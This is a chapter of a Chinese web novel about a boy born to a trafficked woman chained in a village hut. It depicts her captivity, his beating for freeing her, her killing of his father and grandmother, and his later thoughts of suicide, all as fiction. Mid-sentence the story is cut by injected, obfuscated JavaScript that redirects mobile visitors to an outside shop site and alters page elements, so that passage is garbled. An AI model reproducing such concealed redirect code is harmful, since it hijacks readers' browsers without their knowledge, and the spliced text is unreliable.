1991年初春，一声婴儿啼哭划破了乌寨村宁静的长夜。
狭小的房间里堆放着杂物和柴火，一盏光线昏黄微弱的灯泡悬在头顶。屋里站了好几个人，使空间更加逼仄。
接生婆紧张地双手托着婴儿，看了眼，随即高声喊着：“是个男孩！”
她把孩子用毯子裹好递给一旁的伍大。
伍大一只脚是畸形的，这使得他的高低肩非常明显，整个人看着像是站不稳似的。他小心翼翼地抱着孩子，眼含热泪，嘴唇哆哆嗦嗦了好一会儿才吐出两个字，“儿子……”
声音嘶哑难听。
站在他身边的伍阿婆那张苍老的脸上也泛着激动，她看着小婴儿，喃喃说着：“太好了，我们伍家有后了。”
接生婆嘴里说着恭喜的话，伍阿婆会意，忙不迭从口袋里掏出早就准备好的红包，“辛苦了。”
红包很薄，但在这穷山村里已经算是难得了。这年头，村里多数生孩子也只是给一些鸡蛋红糖之类的谢礼，要不是这家情况特殊，估计也不会给钱。
接生婆笑着收下，随后离开了这家。
伍大和阿婆逗弄着怀里的婴儿，脸上尽是喜悦之色，谁也没将目光投向角落里刚刚生产完的女人。
女人虚弱至极，躺在一堆干枯的茅草上，身下铺的和身上盖的被子已经脏的辨不出原本的颜色，她的脚腕被铁链锁住，一动不动，仿佛丧失了生机。
这时小婴儿哭了起来。
伍大轻轻晃了晃，嘴里嘟囔着哄孩子的话，但小婴儿仍哭闹不止。
他皱起眉，“妈，这孩子咋一直哭。”
伍阿婆是过来人，“孩子饿了呗，抱过去让你媳妇喂喂。”
说着她的眼神终于瞥向了角落里的女人。
伍大抱着孩子缓缓走近女人，他蹲下把孩子往女人身前凑了凑。
女人抬了抬眼皮，眼底尽是嫌恶。
伍大说：“儿子饿了，你喂喂他。”
女人无动于衷。
他又说：“这也是你儿子。”
女人依旧无动于衷。
伍大被女人的反应惹怒，变得有些不耐烦，他一把掀开被子。女人的身体一下子暴露在初春的冷风中，她本能地瑟缩了下，还没来得及做出其他反应，男人就把孩子按在她胸前。
孩子依旧在哭。
阿婆眯起眼，“估计是没奶水。”
伍大闪过茫然，“那咋办？”
阿婆说：“先喂羊奶吧。”
幸好家里养了几只羊。
阿婆早晨挤了羊奶，煮沸后就一勺一勺喂给孩子，孩子在羊奶的喂养下一天天长大。
长到一岁时还没有名字，家里人就“娃儿”地叫着。但不起名怎么行？伍家母子都没文化，大字不识一个，两人合计了一下。
阿婆说：“让你媳妇给孩子取个名，她可是大学生。”
就因为是大学生还贵了几百块呢。
“行。”伍大抱着孩子一瘸一拐地走进那间小屋。
小屋里窗子封死了，如果不开灯，白天也是漆黑一片。伍大推开门进去，女人蜷缩在被子里，眼底死气沉沉。
伍大哑着嗓子说：“你给孩子取个名字吧。”
女人僵直地把视线挪到他怀抱里的孩子，如同看待一件物品，冷冰冰的。
伍大把孩子抱近了些，“你看，咱儿子长得多俊。”
他说完这话，孩子似有所感般笑了一声，用软乎乎的小手伸向女人，轻轻碰了下女人的脸。
柔软的触感却让女人如临大敌，她几乎是惊恐地看着那个孩子，她不敢相信这居然是她身上掉下来的一块肉。
她往后缩了缩，靠在墙上大口喘气。
良久，她的呼吸平复下来，目光死死盯着那个孩子，用几不可闻的声音说：“嘉时。”
伍大没听清，“什么？”
女人拾起一旁的柴火枝，在地上缓慢地写下这两个字，她重复了一遍：“嘉时。”
嘉时，是一个带着美好寓意的名字。
可偏偏这家人姓伍，伍嘉时，误嘉时。
误我嘉时。
女人说完不再去看男人和孩子，她就这样躺在脏兮兮的被褥里，目光无神地看着天花板，仿佛刚才的波澜不曾发生，仿佛这一切与她无关。
伍嘉时日渐成长。
还没到上小学的年纪，他整天和张骏一起在田间地头玩耍。两人同年出生，自打会走路起就整天待在一起，到水沟里抓鱼虾，到山上摘野果，一起逗村口的大黄。
每当张骏说“我妈喊我回家吃饭了”，伍嘉时就会应句“好”，然后陷入深深的迷茫。
他对“妈”这个词汇感到疑惑。
为什么他的妈妈会和别人的不一样？
那时的他想不通，为什么他的妈妈会被锁起来，关在那间小小的黑屋子里，爸爸和奶奶从来不允许她出来，也不允许他和妈妈说话。
妈妈是犯错了吗？
在年幼的孩子认知里，只有犯了错的人才会被关起来。
后来伍嘉时上小学，接触到了课本上的知识，老师教他明辨善恶，于是他明白了，妈妈没有犯错，错的是那些伤害她的人。
伤害她的人是爸爸和奶奶。
他们在犯罪，而他是罪恶的产物。
此后，当他再次看到那间房门紧闭的小屋子时，就会对自己产生一种厌弃心理，仿佛他不再是人，而是一件证物，他的存在是妈妈所遭受的伤害最有力的证明。
他应该叫她妈妈。
但她或许从未承认过他是她的孩子。
即使如此，冥冥之中仍有一股力量，驱使着他靠近那间小屋。
那天下午，爸爸和奶奶都到地里干农活了，张骏在家里补作业没来找他玩。伍嘉时一个人坐在院子里，他的目光紧紧地盯着小屋。
怀揣着忐忑和激动的心情，他从爸爸的枕头底下拿到钥匙，打开了那扇门。
那是他第一次独自走进那间小黑屋，独自和他的妈妈待在一起。
也是他生平第一次叫她妈。
女人像风中即将熄灭的残烛，被这一声呼唤吹燃了些许。她看过来，眼神复杂，有困惑有怨恨有仇视，但绝对没有一丝爱。
即使长年累月的囚禁，即使面前站着的是她血脉相连的孩子，她也丝毫没有被驯化和妥协，她仇恨这里的一切，她从没有一刻不想过离开。
伍嘉时在她这种眼神的洗礼下，感到无地自容，感到罪大恶极。
“妈。”他又喊了一声。
女人像是被刺激到，厉声怒喝：“我不是你妈！”
她反复重复着这句话，就好像只要她不承认，就能自欺欺人地淡化她遭受的痛苦。
“我……”伍嘉时站在原地，像是做了天大的错事，他不敢再这么称呼她了。
他问：“你想出去吗？”
女人眼睛瞪得极大，难以置信又充满渴望。
“出去？”她嚼着这两个字，起初是很轻的声音，到后边变得激动，她一声声说着：“出去！出去！我要出去！”
就像是溺水的人抓到了一根救命稻草。
她在哭。
彼时的伍嘉时只有十岁，他的心被狠狠刺痛了一下。他听见自己回答了一个字“好”。
门锁的钥匙在爸爸枕头下边，但脚铐的钥匙被藏在更隐蔽的地方。伍嘉时在屋里不停的翻找，他脑海里只有一个念头，找到钥匙，然后把妈妈放出去。
为此他已经顾不上思考会有什么后果了。
终于，他在一个铁盒子里找到了钥匙。
他把钥匙紧紧攥在手里，贴在胸口，心潮澎湃。
他回到了那间小屋，如同羊羔跪乳般跪坐在地上，拿着钥匙去打开脚铐。
整个过程他甚至不敢呼吸。
他感到缺氧，手也止不住颤抖，却不敢停下动作。
“咔嗒”一声。
脚铐打开了。
女人几乎是瞬间就挣脱开，长久的束缚让她在站起身后僵在原地，像是已经忘记了怎么走路。
她试探性地迈出去一步。
两步、三步……
她开始狂奔。
不顾一切的狂奔，试图将这一切远远甩开。
以至于她不曾听见，身后的孩子用童声说了句：“妈妈，回家吧，回到你的家吧。”
那里没有暗无天日，没有沉重枷锁，没有侵犯伤害，那里只会有爱你的家人，所以回去吧，妈妈。
回到属于你的世界吧。
年仅十岁的伍嘉时天真的以为，妈妈真的自由了。
但到了傍晚。
伍大一脸怒气冲冲地踹开了家门，他手里拽着女人的衣领，粗暴地将她拖进屋里。女人的后背磨出血，在地上留下点点红迹。
“跑？”伍大面目狰狞，“你还敢跑！”
他把女人拖进小黑屋，重新锁了起来，随后把目光对准瑟瑟颤抖的伍嘉时。
“是你把她放出去的！”
不是疑问句而是肯定句。
伍嘉时被吓得一句话也说不出来，他就那样愣在原地，任由爸爸把他绑起来。他感觉到自己的身体在上升。
伍大把他吊在了房梁上。
“你是我的儿子！你怎么能把那个女人放走！你知不知道为了买她老子花了多少钱！”伍大越说越气，拿着一根粗麻绳抽在他身上，“没良心的东西！我今天非要抽死你！”
伍大下手一次比一次用力。
伍嘉时的身上很快就出现道道血痕，衣料撕裂，皮开肉绽。
“知道错了没？”伍大问他。
伍嘉时不停地哭，却也没有说出一句认错的话。见他不知悔改，伍大力度更重。
伍阿婆听着孙子的哭喊声，不忍心却也没多说什么。孩子这次做得太过分了，怎么能把人当走呢？那可是花了大价钱买来的。
“行了，别把孩子真打坏了。”伍阿婆劝了一句。
好在是人又抓回来了，伍大把他打了一顿，气消了大半。但他仍不打算把人放下来，这次必须得让这孩子长长记性。
晚上，伍大和伍阿婆在吃饭，伍嘉时被吊着，他头晕，身上的伤口火烧般疼，恹恹地闭着眼睛。
张骏来找他玩，看到这一幕，吓得捂着嘴巴跑回自己家。他把这件事告诉了自己的爸妈。
张父张母知道后立刻就赶到伍家。
“伍大啊，你这么打孩子，要是打出个三长两短可怎么办？”张母看着孩子被吊起来奄奄一息的样子，心疼得不行。
伍大鼻子哼了声，“谁让他不听话。”
“到底是孩子，你就别跟孩子一般见识。”张母说着，眼睛一抬，“你看看孩子都成什么样，还不赶紧放下来。”
伍大跟着翻起眼皮往上看，他叫了一声“娃儿”，没得到回应。这下他也慌了，连忙把人放下来，“这可咋整？”
伍嘉时被放下来也没一点反应。
“不会是死了吧？”伍大去探他的鼻息。
“别瞎说。”张母把孩子揽进怀里，“我跟骏他爸带孩子去镇上看看。”
张家有一辆拖拉机，是当时村里为数不多有交通工具的人家。
伍大慌忙地说：“去……快去……”
从镇上回来已经是深夜了，张母跟伍大打了声招呼，让伍嘉时先住在她家，等好点了再送回去。
伤都是皮外伤，晕过去主要是受到了惊吓。当天晚上伍嘉时就醒过来了，张母帮他给伤口涂药，泪眼说着：“怎么舍得打这么凶，多好的娃儿啊。”
伍嘉时此刻倒没哭，他趴在床上垂着脑袋，目光盯着地面，“婶子，我错了吗？我爸爸说我错了。”
张母知道他家的事。
这种事，不好评价。她怜惜地摸了摸他的脑袋，“孩子，是对是错你自己心里其实有一把尺。但是呢，你现在虽然能分辨出对错，但你还没有改变的能力。”
伍嘉时问：“那我什么时候才能有改变的能力？”
“等你长大。”张母温声说，“等你可以看到大山之外的世界。”
从那以后，伍嘉时就开始期盼着大山以外的世界。他的小学和初中都没有走出大山，一直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559414|185842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到高中，他以优异的成绩考上了县城里最好的高中，那是他第一次离开大山。
对他来说，外边的世界如此陌生也如此新奇，仿佛未来有着无限可能。
所以他的妈妈就是从这样一个世界被迫来到落后贫瘠的山村吗？或许她原本的世界比县城还要繁华。
高中是封闭式管理，一个月放假回家一次。
这一个月间，伍嘉时心里藏着一个沉甸甸的想法，他不敢告诉任何人，老师同学他都不敢说。
他把这个想法藏在心里，一直到放假那天。
周五下午，他离开学校，却没有乘坐回家的大巴车，而是一个人边走边问来到了公安局。
他站在公安局门口，踌躇着。
要进去吗？
如果报案的话爸爸和奶奶也会被抓起来吧？可是，他真的好想把妈妈送回到她原本的世界里去。
他就那样静静站在公安局前，直到有人问起，他仰起脸，坚定地说：“我要报案。”
拐卖妇女这属于重大刑事案件，立刻引起了公安局高层的注意。侦查工作开展得很迅速，警察在第一时间前往案发地点。
红蓝交替的警灯不停闪烁，警笛声尖锐刺耳，伍嘉时坐在警车后座，手紧紧攥着书包带子。
他不知道等待他的是什么。
是妈妈获得自由，亦或是爸爸和奶奶的牢狱之灾。而他又该何去何从。
他的心潮翻江倒海，警灯的光芒映在他脸上，一半是希望的亮色，一半是不安的阴影。
警车驶进了乌寨村。
伍嘉时在村口看到了一件焦急的张母。她看着他，立刻拦住车，隔着窗户就慌忙跟他说：“小伍，你家出事了！出大事了！”
伍嘉时从警车上下来，神色紧绷，“婶子，出什么事了？”
张母急促喘着气，好一会儿才组织出来一句完整的话，“你妈不知道怎么跑出来了，把你爸爸和奶奶都……砍死了……又一把火烧了房子……”
伍嘉时在她断断续续的话语中得知了这样一个惊天消息。
他晃了一下，整个人站不稳。
随后不顾一切地奔向家的方向。
火已经被熄灭了，只剩下烧得黑黢黢的三间土胚房。他没有哭，也没有喊，只是面无表情地看着眼前的景象。
他的灵魂被抽走了，剩下躯壳观望着失去意义的一切。
只差一点。
差一点他就可以把妈妈送回她的世界，但现在全部都晚了，她以最决绝的方式结束了所有。
但也并非全无意义，警察的到来揭开了乌寨村拐卖的一角，成功解救了附近山村几名被拐妇女。
自此，乌寨村再也没有发生过买卖妇女的事件。
伍嘉时离开了乌寨村，也离开了学校。
他没有再继续读书，连自己都养活不起的时候，上学就成了奢侈。
他去了外地打工。
那一年，他还没满十六岁，稍微正规一点的地方都不收他。他就只能到小作坊工厂，工厂里拖欠工资是常事，好在管吃管住。
整整两个月，伍嘉时没有花一分钱，他一日三餐都在厂里吃，下班了就回宿舍，他不出门也不社交，过着两点一线的生活。
一直熬到发了工资。
他每天都要上班，不可能把工资带在身上。于是他找了个袋子把钱包起来，放进自己的柜子里，又上了锁。
但他显然低估了人心险恶。
那天下班回来，他打开柜子，钱却不见了。
他的心一沉，环顾宿舍。
只有一个舍友不在，他立马就把嫌疑锁定在此人身上。
那人回来后，他和那人起了争执，打架见了血，最后在那人装行李的袋子深处翻出来属于他的工资。
他拿着钱，毅然离开了工厂。
后来他辗转来到了阳城，在这座陌生的城市里，他的最后一点钱被人骗走。
人家说要帮他找工作，他信了，交了钱之后却没了下文。
人无分文的伍嘉时站在大桥上，脚下是横穿整个阳城的一条河，河流把城市分成城南城北。
他望着平静幽深的河面，思绪前所未有的空泛，这一刻他什么都没有想，他只是被河流吸引。
有一个声音告诉他，跳下去。
跳下去就一了百了。
天空在这时下起了雨。
盛夏暴雨，雨帘密集，世界在一片模糊的水幕里。
周围行人匆匆，伍嘉时站在雨里，他不知道要去哪里，他也没有地方可以去。
他就那样静静地站在雨里，任由大雨将他浑身淋得湿透。衣服紧紧地贴在身上，又湿又重，像是无数根绳子，把他往水里拽。
河面被突如其来的雨搅得不再平静。
伍嘉时往前挪了挪脚。
“年轻人！”一道声音喊住了他。
那是一个老实巴交的男人。
男人递给他一把伞，又从怀里拿出一个热馒头直接塞到他手里，“淋雨要生病的，快撑着伞回家吧。”
回家？
他哪还有家？
男人走远了。
伍嘉时撑着伞站在原地，一口一口地咀嚼着馒头。他想，还是先等雨停了把伞还给男人吧。
男人在附近的工地干活。
他也去了那个工地，很幸运和男人分到了一个工棚。男人还带着一个可爱的女儿，他的女儿很乖。
这是他离开大山后感受到的第一抹温暖，只是不曾想，这么温暖也熄灭了，间接性因为他。
小女孩被她姑姑带走了，工棚里只剩下他一个人。
他那几天过得浑浑噩噩，麻木地工作着，像一具行尸走肉。他不知道他为什么活着，如果可以，他情愿掉下来的人是他。
死去，就能结束他这毫无意义的人生。
可是没有。
那天他下工回来，看到小小一团蜷缩在工棚门口，是那个小女孩，她叫他哥哥。
这个称呼就像一个咒语。
从那天开始，妹妹于他而言，就是支撑他活下去的意义。